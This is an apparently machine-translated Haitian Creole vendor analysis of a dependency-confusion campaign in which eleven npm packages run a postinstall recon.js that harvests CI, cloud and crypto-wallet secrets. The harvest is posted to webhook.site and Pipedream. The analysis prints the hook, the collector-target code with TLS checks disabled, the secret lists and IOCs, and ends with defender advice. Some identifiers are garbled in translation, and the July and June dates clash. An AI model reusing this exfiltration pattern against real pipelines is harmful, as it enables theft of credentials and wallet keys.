Konfizyon CryptoDAO: Rekòlte Pakè npm yo CI/CD ak Sekrè Kripto

Konfizyon CryptoDAO: onz pakè npm, yon sèl chaj, rekòlte CI/CD ak sekrè kripto-bous

TL; DR

Nan dat 17 Jiyè 2026, yon sèl kont npm te pibliye. onz pakè ki pataje yon sèl objektif ak yon sèl chay itilDis ladan yo pote a cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); onzyèm lan se sijè ki gen dimansyon an @public-for-cdao/coreYo te pibliye chak youn nan vèsyon sa yo. 99.99.99 epi li voye yon bayt ki idantik recon.js ki kouri sou postinstall.

Non yo se sa ki di. Yo li tankou blòk konstriksyon entèn yon chèn zouti prive pwojè kripto/DAO. Pibliye nan rejis piblik npm nan yon vèsyon atifisyèlman wo, yo rete ap tann yon build. pipeline ki configuré pou rezoud non sa yo epi ki rive nan npm piblik anvan — oubyen olye de — rejis prive a. Sa a se konfizyon depandans, epi chaj la ajiste egzakteman kote li espere ateri: CI/CD kourè.

postinstall dife, recon.js kolekte detay sou lame a, baleye apeprè karant varyab anviwònman nwaj, CI, ak bous kriptografik, li nenpòt .env fichye li ka jwenn epi li voye liy ki gen sekrè yo mo pou mo, answit li transmèt pake a bay de kolektè — webhook.site ak yon pwen final Pipedream — ak verifikasyon sètifika TLS enfim. Yo ekri yon kopi tou anba /tmp.

Severite: segondèEkosistem ki afekte a: npmTout onz pakè yo te disponib nan moman sa a.

Anatomi atak

Mekanis lan gen kat pati k ap deplase, epi okenn nan yo pa sibtil yon fwa ou konnen kijan pou fè sa. Gade yon kouch apre non pake a.

1. Enflasyon vèsyon kòm yon leur pou rezoud pwoblèm. Chak pake deklare vèsyon 99.99.99Konfizyon depandans lan fonksyone lè yon manadjè pake mande yon non entèn, tcheke tou rejis piblik la epi chwazi vèsyon ki pi wo a jwenn. Seleksyon default npm pou yon seri caret oswa joker se vèsyon ki pi satisfezan atravè chak sous konfigire; si tou de yon sous prive rejis ak repons npm piblik pou menm non an, nimewo vèsyon ki pi gwo a genyen. A 99.99.99 depase esansyèlman nenpòt vèsyon entèn reyèl yon pwojè pral genyen rive, kidonk yon rezolvè ki pa lye ak sous prive a prefere kopi piblik — e nan ka sa a, ostil — la. Operatè a pa bezwen konnen nimewo vèsyon reyèl sib la; chwazi yon maksimòm absid garanti egalite a toujou kraze chemen yo.

2. Yon deklanchè apre enstalasyon. package.json konekte chaj la ak enstalasyon an sik lavi:

{   "scripts": { "postinstall": "node recon.js" } }

Pa bezwen enpòte pake a. Se jis enstale li — sa yon CI fè. pipeline fè otomatikman — kouri rekon.js.

3. Yon gwo operasyon sekrè. rekon.js rasanble yon etalaj rezilta an etap:

  • Kontèks lame a: non lame a, platfòm ak vèsyon, achitekti, non itilizatè, fonksyonman Anyè a.
  • Varyab anviwònman: li iterasyon yon lis fiks ki gen anviwon karant non ak anrejistreman nenpòt ki mete. Lis la revele — li ​​pè jeton CI jenerik yo (CI_JOB_TOKEN, MODPAS_REJIS_CI, GITLAB_ACCESS_TOKEN) ak nwaj la kalifikasyon (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ak sekrè rejis ak kontenè (NPM_TOKEN, MODPAS DOCKER, MODPAS_PÒ) ak yon gwoup ki gen yon gou kriptografik byen klè:  KLE_PRIVE, MNEMONIK, FRAZ_GRENN, KEY_API_INFURA, KLE_API_ALCHIMI, ETH_RPC, BSC_RPCValè anrejistre yo koupe nan 50 premye karaktè yo.
  • .env fichye: li sonde yon lis chemen — .env, ../.anviwònman, /app/.env, /app/backend/.env, /app/bot/.env, /lakay/gitlab-runner/.env, /root/.env, ak nan .pwodiksyon/devlopman varyant — epi pou nenpòt dosye ki egziste, li filtre kontni an sou liy ki koresponn KLE|SEKRÈ|JETON|PAS|PRIVE|MNEMONIK epi pouse liy sa yo **antre, san koupe** nan rezilta yo.
  • Kontèks Build-host: li bay lis 20 premye antre yo nan /konstriksyon/, /lakay/gitlab-runner/konstriksyon/, /var/lib/gitlab-runner/, epi /tmp/.

Lis chemen yo ak lis varyab yo gen yon pwa an favè kourè GitLab yo, ki montre chaj la kareman nan enfrastrikti CI pwòp tèt li olye ke yon devlopè laptop. Gwoupe lis rekòt la pa kategori fè li klè pou w konnen kisa w gen entansyon fè:

kategori Varyab / chemen ki rive
CI/CD idantite & deplwaye CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rejis ak kontenè NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Depo done yo DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blòkchenn PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messagerie SLACK_TOKEN, DISCORD_TOKEN
Sou disk .env fanmi + /home/gitlab-runner/.env, /root/.env, /app/**/.env; lis anyè nan /builds/, /var/lib/gitlab-runner/

Gwoupman kriptografik la se pati ki distenge sa a ak yon sekrè CI jenerik. bale: fraz grenn bous ak kle siyati sèlman parèt nan anviwònman yon pwojè blockchain, epi yo trase dirèkteman sou la kriptodao-/siy/kontra nonmen transpòtè yo.

4. Doub èsfiltrasyon ak verifikasyon enfim. Tablo kolekte a se serilize epi poste nan de destinasyon:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejteSan otorizasyon: fo fèmen verifikasyon sètifika TLS pou mesaj sortan yo apèl yo. Menm done yo enprime nan stdout (kidonk li rive tou nan jounal travay CI yo) epi sa a alekri bay /tmp/.npm_recon_ .jsonErè yo vale an silans, kidonk yon yon echèk nan voye a pa kite okenn tras nan rezilta enstalasyon an pi lwen pase yon sèl [rekonesans] enstale sou liy.

Yon kòmantè prensipal nan dosye a dekri li kòm yon "Konfizyon Depandans" Chaj rekonesans." Twonkaj valè anviwònman yo a 50 karaktè te genyen fòm yon prèv konsèp. Sa ki fè l pase yon baliz prezans sèlman se .env manyen: liy ki pote sekrè yo transmèt nèt, epi destinasyon yo se de kolektè k ap travay, kontwole pa atakè olye de yon lavabo ki sèlman konte frape.

Timeline

Modèl piblikasyon an se siyati yon sèl pouse script, pa onz. telechajman endepandan.

Lè (UTC, 2026-06-17) evènman
03:24:58 cryptodao-bot@99.99.99 pibliye
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — varyant ki gen kad, ~24 min pita

Dis pakè te soti nan yon fenèt 29 segonn, apeprè youn chak twa segonn. Pòte a @piblik-pou-cdao/nwayo swiv apeprè 24 minit apre — yon dezyèm konvansyon nonmen pou menm sib la, nan ka pwojè konsomatè a fè referans a chèn zouti entèn anba yon sijè ki abòde olye de non sèlman.

Endikatè konpwomi

Kalite Endikatè
Pèseptè hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Pèseptè hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Enstale zen an postinstall: node recon.js
Dosye lage /tmp/.npm_recon_<timestamp>.json
Makè bwa [recon] <pkg>@<ver> installed on <hostname> (stdout nan jounal CI yo)
Konpòtman rejectUnauthorized: false sou HTTPS sortan pandan enstalasyon an
chaj recon.js, idantik atravè tout onz pakè yo (yon sèl vèsyon pataje)
Version 99.99.99 sou chak pake
Kontribisyon cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tout 99.99.99)
Editè aduljune / aduljune@proton.me (imèl pa verifye, pa gen depo sous ki lye)

 Atribisyon ak konpòtman obsève

Tout bagay sou gwoupman an montre yon men. Yo te pibliye tout onz pakè yo. pa kont npm lan aduljune (aduljune@proton.me, yon adrès ki pa verifye san depo sous lye), nan yon entèval 25 minit, an menm tan 99.99.99 vèsyon, anbake yon rekon.js ki gen kontni ki idantik okte pa okte atravè chak pake (MD5 koresponn ak tout onz kopi ekstrè yo). Sa se yon sèl chaj enprime sou yon lis non, pa reyitilize kòd poukont li.

Lis non an defini sib la. kriptodao-* ta dwe apwouve bèso tibebe w la epi cdao dekri la Layout modil prive yon pwojè kripto/DAO, ak lis rekòt chaj la miwa ki devine: ansanm ak sekrè jenerik CI ak nwaj yo, li espesyalman rive pou KLE_PRIVE, MNEMONIK, FRAZ_GRENN, ak Ethereum/BSC RPC ak kle founisè yo. La .env chemen rechèch ak lis anyè yo se GitLab-runner espesifik. Efè obsèvab la se ke nenpòt pipeline twonpe pou enstale sa yo non yo ta voye jeton CI li yo, kle nwaj yo, ak done sou disk la .env sekrè — epi, pou yon pwojè blockchain, materyèl bous li a — bay de kolektè twazyèm pati.

Nou pa fè okenn reklamasyon sou ki moun ki opere kont lan oswa sa yo te gen plan fè ak li. done. Reyalite ki kanpe poukont yo: non yo vize yon kalite espesifik chèn zouti entèn, chaj la li epi transmèt valè sekrè reyèl yo, epi enfrastrikti a te an fonksyon.

Enpak, tandans, ak konsèy defansè yo

Konfizyon depandans rete efikas paske li eksplwate konpòtman rezolvè a, pa yon vilnerabilite nan nenpòt pake. Vektè a isit la se trivial — onz prèske vid pakè — men reyon eksplozyon an se kèlkeswa sa pipeline pa erè prefere npm piblik pou yon non entèn. Moun k ap kouri CI yo se pi move kote pou sa rive: yo kenbe egzakteman jeton yo ak .env dosye chaj sa a li, epi yo enstale depandans ki pa entèaktif, kidonk yon apre enstalasyon ap kouri san pèsonn pa ap gade l.

Gwoupman sa a anfòm tou ak yon modèl nou kontinye ap wè: chaj ki prezante pandan enstalasyon an kòm "rechèch" oswa "rekonesans" pandan y ap fè koleksyon kalifikasyon reyèl. Etikèt la nan dosye a pa chanje sa kòd la fè sou yon kourè. De chwa konsepsyon kenbe aktivite a trankil: chak operasyon rezo ak sistèm fichye vlope nan yon yon jesyonè eksepsyon ki elimine erè yo, kidonk yon voye bloke oswa yon fichye ki manke pa pwodui okenn rezilta dyagnostik, epi sèl bagay ki enprime se yon sèl bagay ki pa danjere [rekon] … enstale liy ki melanje ak bavardaj enstalasyon nòmal la. Itilizasyon webhook.sit epi Pipedream se tou yon konvenyans volontè — tou de gratis, sèvis kaptire demann ki apwovizyone imedyatman, kidonk operatè a pa bezwen sèvè pwòp pa yo epi destinasyon yo sanble ak non lame SaaS òdinè nan jounal sòti yo.

Se ekonomi an ki fè sa merite atansyon yon defansè menm si Kòd transpòtè a pa gen anpil enpòtans. Anrejistre onz non pa koute anyen, chaj la se youn. fichye kopye onz fwa, epi manadjè pake a fè tout ekzekisyon an. Yon sèl mal konfiguré pipeline Nenpòt kote ki konsome youn nan non sa yo peye pou tout la operasyon.

Etap konkrè pou defansè yo:

  • Mete dimansyon entèn yo nan rejis prive ou a. Konfigire npm pou non entèn yo
     epi dimansyon yo rezoud sèlman kont rejis ou a (map rejis .npmrc ki gen dimansyon,
    (oswa yon proksi ki pa janm rive jwenn npm piblik pou espas non ou posede). Rezève non piblik ou yo pou pèsonn lòt pa ka anrejistre yo.
  • Commit lockfiles epi enstale ak –ignore-scripts nan CI kote sa posib, oubyen Verifye ti gwoup depandans ki vrèman bezwen script enstalasyon yo.  recon.js pa ka fonksyone si apre enstalasyon pa egzekite.
  • Trete yon vèsyon 99.99.99 (oswa yon lòt vèsyon absidman wo) nan yon non ki sanble entèn kòm yon drapo wouj nan revizyon depandans ak siveyans rejis.
  • Alèt sou sòti nan moman enstalasyon an. A apre enstalasyon ki ouvri yon HTTPS sortan koneksyon — sitou lè verifikasyon sètifika a enfim — pou Li vo bloke webhook.site, Pipedream, oubyen sèvis kaptire demann menm jan an nan limit rezo a epi siyalize yo nan jounal konstriksyon yo.
  • Chase pou atifak yo. Tcheke kourè yo pou /tmp/.npm_recon_*.json ak pou la [rekon] ... enstale sou ... makè nan dènye jounal CI yo. Si yo jwenn li, vire chak kalifikasyon ekspoze a sa pipeline — Jeton CI, kle nwaj, jeton rejis, ak nenpòt grenn bous oswa kle prive ki prezan nan anviwònman an oswa nan fichye .env yo.

Referans

Pa t gen okenn rapò ekstèn sou gwoup sa a nan moman sa a; analiz la pi wo a baze dirèkteman sou sa ki nan pake a pibliye a

zouti-lojisyèl-sca-tools-konpozisyon-analiz-zouti
Priyorize, korije, epi pwoteje risk lojisyèl ou yo
Jwenn Kont Gratui ou.
Pa gen kat kredi obligatwa.

Pwoteje Devlopman ak Livrezon Lojisyèl ou

avèk Xygeni Product Suite